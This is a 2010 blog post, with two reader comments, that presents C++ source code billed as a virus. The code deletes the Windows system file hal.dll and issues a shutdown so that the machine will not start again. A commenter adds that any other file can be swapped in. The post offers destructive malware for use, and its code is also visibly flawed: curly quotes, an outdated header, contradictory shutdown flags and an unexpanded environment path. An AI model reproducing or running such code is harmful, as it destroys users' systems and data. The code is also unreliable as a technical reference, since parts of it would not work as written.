Monday, November 29, 2010

A deadly C++ Virus that corrupt the Windows

The following is the source code of the Virus that would curropt the windows and shutdown. But the Windows will never start up again.


#include <iostream.h>
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])
{
std::remove(“%systemroot%\\system32\\hal.dll”);
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}

Note: You have to compile the above code with C++ compiler like Borland to run

2 comments:

Anonymous said...

Hey man, this is the old Hal.dll delete thing. But, this can easily be restored in systems menus :P

Muhammad Haseeb Javed said...

this is just an example you can replace hal.dll with anything else.

Post a Comment

You can Ask anything that you like!!!!

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | cna certification